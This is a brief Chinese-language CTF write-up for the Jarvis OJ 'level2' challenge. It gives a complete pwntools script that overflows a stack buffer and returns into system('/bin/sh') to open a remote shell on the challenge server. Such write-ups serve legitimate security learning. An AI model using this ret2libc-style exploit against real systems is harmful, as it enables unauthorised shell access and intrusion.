1. 程式人生 > >jarvis oj level2

jarvis oj level2

拖進ida,直接就看到了system函式,同時搜尋一下,發現了“bin/sh”,沒什麼好說的,上指令碼

from pwn import *
conn=remote("pwn2.jarvisoj.com","9878")
conn.recvline()
e=ELF("./level2")
sys_addr=e.symbols['system']
pad=0x88
sh_addr=e.search("/bin/sh").next()
payload="A"*pad+"BBBB"+p32(sys_addr)+"dead"+p32(sh_addr)
conn.sendline(payload)
conn.interactive()

收穫:
recv是不顯示返回的字串,儲存到緩衝區。注意查詢字串的格式,後面有next()。